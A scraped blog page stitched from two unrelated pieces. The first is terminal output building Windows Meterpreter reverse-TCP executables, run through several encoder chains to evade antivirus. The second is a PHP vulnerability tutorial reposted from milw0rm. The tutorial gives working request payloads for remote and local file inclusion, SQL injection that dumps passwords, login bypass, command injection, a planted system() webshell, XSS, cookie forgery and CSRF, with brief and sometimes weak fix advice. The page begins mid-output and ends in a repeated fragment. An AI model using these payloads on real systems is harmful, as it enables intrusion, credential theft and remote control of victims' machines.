[*] x86/countdown succeeded with size 40497 (iteration=3)
[*] x86/countdown succeeded with size 40515 (iteration=4)
[*] x86/countdown succeeded with size 40533 (iteration=5)
[*] x86/countdown succeeded with size 40551 (iteration=6)
-e x86/shikata_ga_nai -t exe > /root/Desktop/payload-1a.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
####################################################################################################
root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=9988 R| msfencode
-e x86/shikata_ga_nai -c 6 -t raw| msfencode -e x86/alpha_upper -c 3 -t raw| msfencode -e
x86/shikata_ga_nai -c 5 -t raw| msfencode -e x86/countdown -c 5 -t exe -o
/root/Desktop/payload-2a.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 398 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 425 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 452 (iteration=6)
[*] x86/alpha_upper succeeded with size 971 (iteration=1)
[*] x86/alpha_upper succeeded with size 2011 (iteration=2)
[*] x86/alpha_upper succeeded with size 4090 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 4119 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 4148 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 4177 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 4206 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 4235 (iteration=5)
[*] x86/countdown succeeded with size 4253 (iteration=1)
[*] x86/countdown succeeded with size 4271 (iteration=2)
[*] x86/countdown succeeded with size 4289 (iteration=3)
[*] x86/countdown succeeded with size 4307 (iteration=4)
[*] x86/countdown succeeded with size 4325 (iteration=5)
####################################################################################################
root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=9988 R| msfencode
-e x86/shikata_ga_nai -c 9 -t raw| msfencode -e x86/alpha_upper -c 5 -t raw| msfencode -e
x86/shikata_ga_nai -c 9 -t raw| msfencode -e x86/countdown -c 7 -t exe -o
/root/Desktop/payload-3a.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 398 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 425 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 452 (iteration=6)
[*] x86/shikata_ga_nai succeeded with size 479 (iteration=7)
[*] x86/shikata_ga_nai succeeded with size 506 (iteration=8)
[*] x86/shikata_ga_nai succeeded with size 533 (iteration=9)
[*] x86/alpha_upper succeeded with size 1134 (iteration=1)
[*] x86/alpha_upper succeeded with size 2337 (iteration=2)
[*] x86/alpha_upper succeeded with size 4743 (iteration=3)
[*] x86/alpha_upper succeeded with size 9555 (iteration=4)
[*] x86/alpha_upper succeeded with size 19179 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 19208 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 19237 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 19266 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 19295 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 19324 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 19353 (iteration=6)
[*] x86/shikata_ga_nai succeeded with size 19382 (iteration=7)
[*] x86/shikata_ga_nai succeeded with size 19411 (iteration=8)
[*] x86/shikata_ga_nai succeeded with size 19440 (iteration=9)
[*] x86/countdown succeeded with size 19458 (iteration=1)
[*] x86/countdown succeeded with size 19476 (iteration=2)
[*] x86/countdown succeeded with size 19494 (iteration=3)
[*] x86/countdown succeeded with size 19512 (iteration=4)
[*] x86/countdown succeeded with size 19530 (iteration=5)
[*] x86/countdown succeeded with size 19548 (iteration=6)
[*] x86/countdown succeeded with size 19566 (iteration=7)
####################################################################################################
root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=9988 R| msfencode
-e x86/shikata_ga_nai -c 10 -t raw| msfencode -e x86/alpha_upper -c 6 -t raw| msfencode -e
x86/shikata_ga_nai -c 10 -t raw| msfencode -e x86/countdown -c 6 -t exe -o
/root/Desktop/payload-4a.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 398 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 425 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 452 (iteration=6)
[*] x86/shikata_ga_nai succeeded with size 479 (iteration=7)
[*] x86/shikata_ga_nai succeeded with size 506 (iteration=8)
[*] x86/shikata_ga_nai succeeded with size 533 (iteration=9)
[*] x86/shikata_ga_nai succeeded with size 560 (iteration=10)
[*] x86/alpha_upper succeeded with size 1188 (iteration=1)
[*] x86/alpha_upper succeeded with size 2445 (iteration=2)
[*] x86/alpha_upper succeeded with size 4959 (iteration=3)
[*] x86/alpha_upper succeeded with size 9987 (iteration=4)
[*] x86/alpha_upper succeeded with size 20042 (iteration=5)
[*] x86/alpha_upper succeeded with size 40153 (iteration=6)
[*] x86/shikata_ga_nai succeeded with size 40182 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 40211 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 40240 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 40269 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 40298 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 40327 (iteration=6)
[*] x86/shikata_ga_nai succeeded with size 40356 (iteration=7)
[*] x86/shikata_ga_nai succeeded with size 40385 (iteration=8)
[*] x86/shikata_ga_nai succeeded with size 40414 (iteration=9)
[*] x86/shikata_ga_nai succeeded with size 40443 (iteration=10)
[*] x86/countdown succeeded with size 40461 (iteration=1)
[*] x86/countdown succeeded with size 40479 (iteration=2)
[*] x86/countdown succeeded with size 40497 (iteration=3)
[*] x86/countdown succeeded with size 40515 (iteration=4)
[*] x86/countdown succeeded with size 40533 (iteration=5)
[*] x86/countdown succeeded with size 40551 (iteration=6)
Sunday, January 20, 2013
PHP Vulnerabilities
Finding vulnerabilities in PHP
1) About
2) Some stuff
3) Remote File Inclusion
3.0 - Basic example
3.1 - Simple example
3.2 - How to fix
4) Local File Inclusion
4.0 - Basic example
4.1 - Simple example
4.2 - How to fix
5) Local File Disclosure/Download
5.0 - Basic example
5.1 - Simple example
5.2 - How to fix
6) SQL Injection
6.0 - Basic example
6.1 - Simple example
6.2 - SQL Login Bypass
6.3 - How to fix
7) Insecure Cookie Handling
7.0 - Basic example
7.1 - Simple example
7.2 - How to fix
8) Remote Command Execution
8.0 - Basic example
8.1 - Simple example
8.2 - Advanced example
8.3 - How to fix
9) Remote Code Execution
9.0 - Basic example
9.1 - Simple example
9.2 - How to fix
10) Cross-Site Scripting
10.0 - Basic example
10.1 - Another example
10.2 - Simple example
10.3 - How to fix
11) Authentication Bypass
11.0 - Basic example
11.1 - Via login variable
11.2 - Unprotected Admin CP
11.3 - How to fix
12) Insecure Permissions
12.0 - Basic example
12.1 - Read the users/passwords
12.2 - Download backups
12.3 - INC files
12.4 - How to fix
13) Cross Site Request Forgery
13.0 - Basic example
13.1 - Simple example
13.2 - How to fix
14) Shoutz
1) In this tutorial I will show you how you can find vulnerabilities in php scripts.I will not explain
how to exploit the vulnerabilities,it is pretty easy and you can find info around the web.All the
examples without the basic example of each category was founded in different scripts.
2) First,install Apache,PHP and MySQL on your computer.Addionally you can install phpMyAdmin.
You can install WAMP server for example,it has all in one..Most vulnerabilities need special conditions
to work.So you will need to set up properly the PHP configuration file (php.ini) .I will show you what
configuration I use and why :
safe_mode = off ( a lot of shit cannot be done with this on )
disabled_functions = N/A ( no one,we want all )
register_globals = on ( we can set variables by request )
allow_url_include = on ( for lfi/rfi )
allow_url_fopen = on ( for lfi/rfi )
magic_quotes_gpc = off ( this will escape ' " \ and NUL's with a backslash and we don't want that )
short_tag_open = on ( some scripts are using short tags,better on )
file_uploads = on ( we want to upload )
display_errors = on ( we want to see the script errors,maybe some undeclared variables? )
How to proceed : First,create a database to be used by different scripts.Install the script on
localhost and start the audit over the source code.If you found something open the web browser and
test it,maybe you are wrong.
3) Remote File Inclusion
- Tips : You can use the NULLBYTE and ? trick.
You can use HTTPS and FTP to bypass filters ( http filtered )
In PHP is 4 functions through you can include code.
require - require() is identical to include() except upon failure it will produce a fatal E_ERROR level error.
require_once - is identical to require() except PHP will check if the file has already been included, and if so, not include (require) it again.
include - includes and evaluates the specified file.
include_once - includes and evaluates the specified file during the execution of the script.
3.0 - Basic example
- Tips : some scripts don't accept "http" in variables,"http" word is forbbiden so
you can use "https" or "ftp".
- Code snippet from test.php
-----------------------------------------------
<?php
$pagina=$_GET['pagina'];
include $pagina;
?>
-----------------------------------------------
- If we access the page we got some errors and some warnings( not pasted ) :
Notice: Undefined index: pagina in C:\wamp\www\test.php on line 2
- We can see here that "pagina" variable is undeclared.We can set any value to "pagina" variable.Example :
http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt
Now I will show why some people use ? and after the link to the evil script.
# The ""
- Code snippet from test.php
-----------------------------------------------
<?php
$pagina=$_GET['pagina'];
include $pagina.'.php';
?>
-----------------------------------------------
- So if we will request
http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt
Will not work because the script will try to include http://evilsite.com/evilscript.txt.php
So we will add a NULLBYTE ( ) and all the shit after nullbyte will not be taken in
consideration.Example :
http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt
The script will successfully include our evilscript and will throw to junk the things
after the nullbyte.
# The "?"
- Code snippet from test.php
-----------------------------------------------
<?php
$pagina=$_GET['pagina'];
include $pagina.'logged=1';
?>
-----------------------------------------------
And the logged=1 will become like a variable.But better use nullbyte.Example :
http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?logged=1
The evilscript will be included succesfully.
3.1 - Simple example
Now an example from a script.
- Code snippet from index.php
----------------------------------------------------
if (isset($_REQUEST["main_content"])){
$main_content = $_REQUEST["main_content"];
} else if (isset($_SESSION["main_content"])){
$main_content = $_SESSION["main_content"];
}
.......................etc..................
ob_start();
require_once($main_content);
----------------------------------------------------
We can see that "main_content" variable is requested by $_REQUEST method.The attacker can
set any value that he want. Below the "main_content" variable is include.So if we make the
following request :
http://127.0.0.1/index.php?main_content=http://evilsite.com/evilscript.txt
Our evil script will be successfully included.
3.2 - How to fix
Simple way : Don't allow special chars in variables.Simple way : filter the slash "/" .
Another way : filter "http" , "https" , "ftp" and "smb".
4) Local File Inclusion
- Tips : You can use the NULLBYTE and ? trick.
../ mean a directory up
On Windows systems we can use "..\" instead of "../" .The "..\" will become "..%5C" ( urlencoded ).
The same functions which let you to include (include,include_once,require,require_once) .
4.0 - Basic example
- Code snippet from test.php
-----------------------------------
<?php
$pagina=$_GET['pagina'];
include '/pages/'.$pagina;
?>
-----------------------------------
Now,we can not include our script because we can not include remote files.We can include only
local files as you see.So if we make the following request :
http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd
The script will include "/pages/../../../../../../etc/passwd" successfully.
You can use the and ? .The same story.
4.1 - Simple example
- Code snippet from install/install.php
-------------------------------------
if(empty($_GET["url"]))
$url = 'step_welcome.php';
else
$url = $_GET["url"];
.............etc.............
<p><? include('step/'.$url) ?></p>
-------------------------------------
We can see that "url" variable is injectable.If the "url" variable is not set
(is empty) the script will include "step_welcome.php" else will include the
variable set by the attacker.
So if we do the following request :
http://127.0.0.1/install/install.php?url=../../../../../../etc/passwd
The "etc/passwd" file will be succesfully included.
4.2 - How to fix
Simple way : Don't allow special chars in variables.Simple way : filter the dot "."
Another way : Filter "/" , "\" and "." .
5) Local File Disclosure/Download
- Tips : Through this vulnerability you can read the content of files,not include.
Some functions which let you to read files :
file_get_contents — Reads entire file into a string
readfile — Outputs a file
file — Reads entire file into an array
fopen — Opens file or URL
highlight_file — Syntax highlighting of a file.Prints out or returns a syntax
highlighted version of the code contained in filename using the
colors defined in the built-in syntax highlighter for PHP.
show_source — Alias of highlight_file()
5.0 - Basic example
- Code snippet from test.php
--------------------------------------
<?php
$pagina=$_GET['pagina'];
readfile($pagina);
?>
--------------------------------------
The readfile() function will read the content of the specified file.So if we do the following request :
http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd
The content of etc/passwd will be outputed NOT included.
5.1 - Simple example
- Code snippet from download.php
-----------------------------------------------------------------------------------
$file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Content-Type: application/force-download");
header( "Content-Disposition: attachment; filename=".basename($file));
//header( "Content-Description: File Transfer");
@readfile($file);
die();
-----------------------------------------------------------------------------------
The "file" variable is unsecure.We see in first line that it is requested by $_REQUEST method.
And the file is disclosed by readfile() function.So we can see the content of an arbitrary file.
If we make the following request :
http://127.0.0.1/download.php?file=../../../../../../etc/passwd
So we can succesfully read the "etc/passwd" file.
5.2 - How to fix
Simple way : Don't allow special chars in variables.Simple way : filter the dot "."
Another way : Filter "/" , "\" and "." .
6) SQL Injection
- Tips : If the user have file privileges you can read files.
If the user have file privileges and you find a writable directory and magic_quotes_gpc = off
you can upload you code into a file.
6.0 - Basic example
- Code snippet from test.php
----------------------------------------------------------------------------------
<?php
$id = $_GET['id'];
$result = mysql_query( "SELECT name FROM members WHERE id = '$id'");
?>
----------------------------------------------------------------------------------
The "id" variable is not filtered.We can inject our SQL code in "id" variable.Example :
http://127.0.0.1/test.php?id=1+union+all+select+1,null,load_file('etc/passwd'),4--
And we get the "etc/passwd" file if magic_quotes = off ( escaping ' ) and users have
file privileges.
6.1 - Simple example
- Code snippet from house/listing_view.php
-----------------------------------------------------------------------------------------------------------------------------
$id = $_GET['itemnr'];
require_once($home."mysqlinfo.php");
$query = "SELECT title, type, price, bedrooms, distance, address, phone, comments, handle, image from Rentals where id=$id";
$result = mysql_query($query);
if(mysql_num_rows($result)){
$r = mysql_fetch_array($result);
-----------------------------------------------------------------------------------------------------------------------------
We see that "id" variable value is the value set for "itemnr" and is not filtered in any way.
So we can inject our code.Lets make a request :
http://127.0.0.1/house/listing_view.php?itemnr=null+union+all+select+1,2,3,concat(0x3a,email,password),5,6,7,8,9,10+from+users--
And we get the email and the password from the users table.
6.2 - SQL Injection Login Bypass
- Code snippet from /admin/login.php
------------------------------------------------------------------------------------------------------------------------------
$postbruger = $_POST['username'];
$postpass = md5($_POST['password']);
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' AND password = '$postpass'")
or die("<p>" . mysql_error() . "</p>\n");
------------------------------------------------------------------------------------------------------------------------------
The variables isn't properly checked.We can bypass this login.Lets inject the following username and password :
username : admin ' or ' 1=1
password : sirgod
We logged in.Why?Look,the code will become
---------------------------------------------------------------------------------------------------------------------------------
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = 'admin' ' or ' 1=1 AND password = 'sirgod'")
---------------------------------------------------------------------------------------------------------------------------------
Login bypassed.The username must be an existent username.
6.3 - How to fix
Simple way : Don't allow special chars in variables.For numeric variables
use (int) ,example $id=(int)$_GET['id'];
Another way : For non-numeric variables : filter all special chars used in
SQLI : - , . ( ) ' " _ + / *
7) Insecure Cooke Handling
- Tips : Write the code in the URLbar,don't use a cookie editor for this.
7.0 - Basic example
- Code snippet from test.php
---------------------------------------------------------------
if($_POST['password'] == $thepass) {
setcookie("is_user_logged","1");
} else { die("Login failed!"); }
............ etc .................
if($_COOKIE['is_user_logged']=="1")
{ include "admin.php"; else { die('not logged'); }
---------------------------------------------------------------
Something interesting here.If we set to the "is_user_logged" variable
from cookie value "1" we are logged in.Example :
javascript:document.cookie = "is_user_logged=1; path=/";
So practically we are logged in,we pass the check and we can access the admin panel.
7.1 - Simple example
- Code snippet from admin.php
----------------------------------------------------------------
if ($_COOKIE[PHPMYBCAdmin] == '') {
if (!$_POST[login] == 'login') {
die("Please Login:<BR><form method=post><input type=password
name=password><input type=hidden value=login name=login><input
type=submit></form>");
} elseif($_POST[password] == $bcadminpass) {
setcookie("PHPMYBCAdmin","LOGGEDIN", time() + 60 * 60);
header("Location: admin.php"); } else { die("Incorrect"); }
}
----------------------------------------------------------------
Code looks exploitable.We can set a cookie value that let us to bypass the login
and tell to the script that we are already logged in.Example :
javascript:document.cookie = "PHPMYBCAdmin=LOGGEDIN; path=/";document.cookie = "1246371700; path=/";
What is 1246371700? Is the current time() echo'ed + 360.
7.2 - How to fix
Simple way : The most simple and eficient way : use SESSIONS .
8) Remote Command Execution
- Tips : If in script is used exec() you can't see the command output(but the command is executed)
until the result isn't echo'ed from script.
You can use AND operator ( || ) if the script execute more than one command .
In PHP are some functions that let you to execute commands :
exec — Execute an external program
passthru — Execute an external program and display raw output
shell_exec — Execute command via shell and return the complete output as a string
system — Execute an external program and display the output
8.0 - Basic example
- Code snippet from test.php
---------------------------------
<?php
$cmd=$_GET['cmd'];
system($cmd);
?>
---------------------------------
So if we make the following request :
http://127.0.0.1/test.php?cmd=whoami
The command will be executed and the result will be outputed.
8.1 - Simple example
- Code snippet from dig.php
-------------------------------------------------------------------------------------------
$status = $_GET['status'];
$ns = $_GET['ns'];
$host = $_GET['host'];
$query_type = $_GET['query_type']; // ANY, MX, A , etc.
$ip = $_SERVER['REMOTE_ADDR'];
$self = $_SERVER['PHP_SELF'];
........................ etc ........................
$host = trim($host);
$host = strtolower($host);
echo("<span class=\"plainBlue\"><b>Executing : <u>dig @$ns $host $query_type</u></b><br>");
echo '<pre>';
system ("dig @$ns $host $query_type");
-------------------------------------------------------------------------------------------
The "ns" variable is unfiltered and can be specified by the attacker.An attacker can use any command
that he want through this variable.
Lets make a request :
http://127.0.0.1/dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging
The injection will fail.Why?The executed command will be : dig whoami sirgod.com NS and
will not work of course.Lets do something a little bit tricky.We have the AND operator
( || ) and we will use it to separe the commands.Example :
http://127.0.0.1/dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=digging
Our command will be executed.The command become "dig ||whoami|| sirgod.net NS".
8.2 - Advanced example
- Code snippet from add_reg.php
-------------------------------------------------------
$user = $_POST['user'];
$pass1 = $_POST['pass1'];
$pass2 = $_POST['pass2'];
$email1 = $_POST['email1'];
$email2 = $_POST['email2'];
$location = $_POST['location'];
$url = $_POST['url'];
$filename = "./sites/".$user.".php";
...................etc......................
$html = "<?php
\$regdate = \"$date\";
\$user = \"$user\";
\$pass = \"$pass1\";
\$email = \"$email1\";
\$location = \"$location\";
\$url = \"$url\";
?>";
$fp = fopen($filename, 'a+');
fputs($fp, $html) or die("Could not open file!");
-------------------------------------------------------
We can see that the script creates a php file in "sites" directory( ourusername.php ).
The script save all the user data in that file so we can inject our evil code into one
field,I choose the "location" variable.
So if we register as an user with the location (set the "location" value) :
<?php system($_GET['cmd']); ?>
the code inside sites/ourusername.php will become :
-------------------------------------------------
<?php
$regdate = "13 June 2009, 4:16 PM";
$user = "pwned";
$pass = "pwned";
$email = "pwned@yahoo.com";
$location = "<?php system($_GET['cmd']); ?>";
$url = "http://google.ro";
?>
-------------------------------------------------
So we will get an parse error.Not good.We must inject a proper code to get the result that we want.
Lets inject this code :
\";?><?php system(\$_GET['cmd']);?><?php \$xxx=\":D
So the code inside sites/ourusername.php will become :
--------------------------------------------------------------
<?php
$regdate = "13 June 2009, 4:16 PM";
$user = "pwned";
$pass = "pwned";
$email = "pwned@yahoo.com";
$location = "";?><?php system($_GET['cmd']);?><?php $xxx=":D";
$url = "http://google.ro";
?>
--------------------------------------------------------------
and we will have no error.Why?See the code :
$location = "";?><?php system($_GET['cmd']);?><?php $xxx=":D";
Lets split it :
-------------------------------
$location = "";
?>
<?php system($_GET['cmd']);?>
<?php $xxx=":D";
-------------------------------
We set the location value to "",close the first php tags,open the tags
again,wrote our evil code,close the tags and open other and add a variable
"xxx" because we dont want any error.I wrote that code because I want no
error,can be modified to be small but will give some errors(will not
stop us to execute commands but looks ugly).
So if we make the following request :
http://127.0.0.1/sites/ourusername.php?cmd=whoami
And our command will be succesfully executed.
8.3 - How to fix
Simple way : Don't allow user input .
Another way : Use escapeshellarg() and escapeshellcmd() functions .
Example : $cmd=escapeshellarg($_GET'cmd']);
9) Remote Code Execution
- Tips : You must inject valid PHP code including terminating statements ( ; ) .
9.0 - Basic example
- Code snippet from test.php
-----------------------------------
<?php
$code=$_GET['code'];
eval($code);
?>
-----------------------------------
The "eval" function evaluate a string as PHP code.So in this case we are able to execute
our PHP code.Examples :
http://127.0.0.1/test.php?code=phpinfo();
http://127.0.0.1/test.php?code=system(whoami);
And we will see the output of the PHP code injected by us.
9.1 - Simple example
- Code snippet from system/services/init.php
------------------------------------------------
$conf = array_merge($conf,$confweb);
}
@eval(stripslashes($_REQUEST['anticode']));
if ( $_SERVER['HTTP_CLIENT_IP'] )
------------------------------------------------
We see that the "anticode" is requested by $_REQUEST method and the coder
"secured" the input with "stripslashes" which is useless here,we don't need
slashes to execute our php code only if we want to include a URL.So we can
inject our PHP code.Example :
http://127.0.0.1/test.php?anticode=phpinfo();
Great,injection done,phpinfo() result printed.No include because slashes are
removed,but we can use system() or another function to execute commands.
9.2 - How to fix
Simple way : Don't allow ";" and the PHP code will be invalid.
Another way : Don't allow any special char like "(" or ")" etc.
10) Cross-Site Scripting
- Tips : You can use alot of vectors,can try alot of bypass methods,you cand
find them around the web.
10.0 - Basic example
- Code snippet from test.php
---------------------------------
<?php
$name=$_GET['name'];
print $name;
?>
---------------------------------
The input is not filtered,an attacker can inject JavaScript code.Example :
http://127.0.0.1/test.php?name=<script>alert("XSS")</script>
A popup with XSS message will be displayed.JavaScript code succesfully executed.
10.1 - Another example
- Code snippet from test.php
-------------------------------------------
<?php
$name=addslashes($_GET['name']);
print '<table name="'.$name.'"></table>';
?>
-------------------------------------------
Not an advanced example,only a bit complicated.
http://127.0.0.1/test.php?name="><script>alert(String.fromCharCode(88,83,83))</script>
Why this vector?We put " because we must close the " from the "name" atribut
of the "table" tag and > to close the "table" tag.Why String.fromCharCode?Because
we want to bypass addslashes() function.Injection done.
10.2 - Simple example
- Code snippet from modules.php
---------------------------------------------------------------------------
if (isset($name)) {
.................... etc................
} else {
die("Le fichier modules/".$name."/".$mod_file.".php est inexistant");
---------------------------------------------------------------------------
The "name" variable is injectable,input is not filtered,so we can inject
with ease JavaScript code.Example :
http://127.0.0.1/test.php?name=<script>alert("XSS")</script>
10.3 - How to fix
Simple way : Use htmlentities() or htmlspecialchars() functions.
Example : $name=htmlentities($_GET['name']);
Another way : Filter all special chars used for XSS ( a lot ).
The best way is the first method.
11) Authentication Bypass
- Tips : Look deep in the scripts,look in the admin directories,
maybe are not protected,also look for undefined variables
like "login" or "auth".
11.0 - Basic example
I will provide a simple example of authentication bypass
via login variable.
- Code snippet from test.php
---------------------------------
<?php
if ($logged==true) {
echo 'Logged in.'; }
else {
print 'Not logged in.';
}
?>
---------------------------------
Here we need register_gloabals = on . I will talk about php.ini
settings a bit later in this tutorial.If we set the value of $logged
variable to 1 the if condition will be true and we are logged in.
Example :
http://127.0.0.1/test/php?logged=1
And we are logged in.
11.1 - Via login variable
- Code snippet from login.php
------------------------------------------------------------------------------------
if ($login_ok)
{
$_SESSION['loggato'] = true;
echo "<p>$txt_pass_ok</p>";
echo"<div align='center'><a href='index.php'>$txt_view_entry</a> |
<a href='admin.php'>$txt_delete-$txt_edit</a> | <a href='install.php'>$txt_install
</a></div>";
}
------------------------------------------------------------------------------------
Lets see.If the "login_ok" variable is TRUE ( 1 ) the script set us a SESSION who
tell to the script that we are logged in.So lets set the "login_ok" variable to TRUE.
Example :
http://127.0.0.1/login.php?login_ok=1
Now we are logged in.
11.2 - Unprotected Admin CP
You couln't belive this but some PHP scrips don't protect the admin
control panel : no login,no .htaccess,nothing.So we simply we go to
the admin panel directory and we take the control of the website.
Example :
http://127.0.0.1/admin/files.php
We accessed the admin panel with a simple request.
11.3 - How to fix
- Login variable bypass : Use a REAL authentication system,don't check the
login like that,use SESSION verification.Example :
if($_SESSION['logged']==1) {
echo 'Logged in'; }
else { echo 'Not logged in';
}
- Unprotected Admin CP : Use an authentication system or use .htaccess to
allow access from specific IP's or .htpasswd to
request an username and a password for admin CP.
Example :
.htaccess :
order deny, allow
deny from all
allow from 127.0.0.1
.htpasswd :
AuthUserFile /the/path/.htpasswd
AuthType Basic
AuthName "Admin CP"
Require valid-user
and /the/path/.htpasswd
sirgod:$apr1$wSt1u...$6yvagxWk.Ai2bD6s6O9iQ.
12) Insecure Permissions
Tips : Look deep into the files,look if the script request to be
logged in to do something,maybe the script don't request.
Watch out for insecure permissions,maybe you can do admin
things without login.
12.0 - Basic example
We are thinking at a script who let the admin to have a lookup in
the users database through a file placed in /admin directory.That
file is named...hmmm : db_lookup.php.
- Code snippet from admin/db_lookup.php
--------------------------------------------
<?php
// Lookup in the database
readfile('protected/usersdb.txt');
?>
--------------------------------------------
Lets think.We cannot access the "protected" directory because
is .htaccess'ed.But look at this file,no logged-in check,nothing.
So if we acces :
http://127.0.0.1/admin/db_lookup.php
We can see the database.Remember,this is only an example created by
me,not a real one,you can find this kind of vulnerabilities in scripts.
12.1 - Read the users/passwords
Oh yeah,some coders are so stupid.They save the usernames and passwords
in text files,UNPROTECTED.A simple example from a script :
http://127.0.0.1/userpwd.txt
And we read the file,the usernames and passwords are there.
12.2 - Download Backups
Some scripts have database backup functions,some are safe,some are not safe.
I will show you a real script example :
- Code snippet from /adminpanel/phpmydump.php
--------------------------------------------------------------------------------
function mysqlbackup($host,$dbname, $uid, $pwd, $structure_only, $crlf) {
$con=@mysql_connect("localhost",$uid, $pwd) or die("Could not connect");
$db=@mysql_select_db($dbname,$con) or die("Could not select db");
.............................. etc ..........................
mysqlbackup($host,$dbname,$uname,$upass,$structure_only,$crlf);
--------------------------------------------------------------------------------
After a lof of code the function is called.I don't pasted the entire code
because is huge.I analyzed the script,no login required,no check,nothing.So
if we access the file directly the download of the backup will start.Example :
http://127.0.0.1/adminpanel/phpmydump.php
Now we have the database backup saved in our computer.
12.3 - INC files
Some scripts saves important data in INC files.Usually in INC files is PHP
code containing database configuration.The INC files can be viewed in
browser even they contain PHP code.So a simple request will be enough to
access and read the file.Example :
http://127.0.0.1/inc/mysql.inc
Now we have the database connection details.Look deep in scripts,is more
scripts who saves important data into INC files.
12.4 - How to fix
- Basic example : Check if the admin is logged in,if not,redirect.
- Read the users/passwords : Save the records in a MySQL database
or in a protected file/directory.
- Download Backups : Check if the admin is logged in,if not,redirect.
- INC files : Save the configuration in proper files,like .php or
protect the directory with an .htaccess file.
13) Cross Site Request Forgery
- Tips : Through CSRF you can change the admin password,is not
so inofensive.
Can be used with XSS,redirected from XSS.
13.0 - Basic example
- Code snippet from test.php
-----------------------------------------
<?php
check_auth();
if(isset($_GET['news']))
{ unlink('files/news'.$news.'.txt'); }
else {
die('File not deleted'); }
?>
-----------------------------------------
In this example you will see what is CSRF and how it works.In the "files"
directory are saved the news written by the author.The news are saved like
"news1.txt","news2.txt" etc. So the admin can delete the news.The news that
he want to delete will be specified in "news" variable.If he want to delete
the news1.txt the value of "news" will be "1".We cannot execute this without
admin permissions,look,the script check if we are logged in.
I will show you an example.If we request :
http://127.0.0.1/test.php?news=1
The /news/news1.txt file will be deleted.The script directly delete the file
without any notice.So we can use this to delete a file.All we need is to trick
the admin to click our evil link and the file specified by us in the "news"
variable will be deleted.
13.1 - Simple example
In a way the codes below are included in the index.php file ,I
will not paste all the includes,there are a lot.
- Code snippet from includes/pages/admin.php
--------------------------------------------------------------------
if ($_GET['act'] == '') {
include "includes/pages/admin/home.php";
} else {
include "includes/pages/admin/" . $_GET['act'] . ".php";
--------------------------------------------------------------------
Here we can see how the "includes/pages/admin/members.php" is included in
this file.If "act=members" the file below will be included.
- Code snippet from includes/pages/admin/members.php
----------------------------------------------------------------------------------------------
if ($_GET['func'] == 'delete') {
$del_id = $_GET['id'];
$query2121 = "select ROLE from {$db_prefix}members WHERE ID='$del_id'";
$result2121 = mysql_query($query2121) or die("delete.php - Error in query: $query2121");
while ($results2121 = mysql_fetch_array($result2121)) {
$their_role = $results2121['ROLE'];
}
if ($their_role != '1') {
mysql_query("DELETE FROM {$db_prefix}members WHERE id='$del_id'") or die(mysql_error
());
----------------------------------------------------------------------------------------------
We can see here that if "func=delete" will be called by URL,the script will
delete from the database a user with the specified ID ( $id ) without any
confirmation.Example :
http://127.0.0.1/index.php?page=admin&act=members&func=delete&id=4
The script check if the admin is logged in so if we trick the admin to click
our evil link the user who have the specified ID in the database will be deleted
without any confirmation.
13.2 - How to fix
- Simple way : Use tokens.At each login,generate a random token and save it
in the session.Request the token in URL to do administrative
actions,if the token missing or is wrong,don't execute the
action.I will show you only how to to check if the token
is present and is correct.Example :
-------------------------------------------------------
<?php
check_auth();
if(isset($_GET['news']) && $token=$_SESSION['token'])
{ unlink('files/news'.$news.'.txt'); }
else {
die('Error.'); }
?>
-------------------------------------------------------
The request will look like this one :
http://127.0.0.1/index.php?delete=1&token=[RANDOM_TOKEN]
So this request will be fine,the news will be deleted.
- Another way : Do some complicated confirmations or request a password
to do administrative actions.
14) Shoutz
Shoutz to all www.insecurity.ro & www.h4cky0u.org members.If you have some suggestions or
questions just email me.
# milw0rm.com [2009-09-09]
© Offensive Security 2011
1) About
2) Some stuff
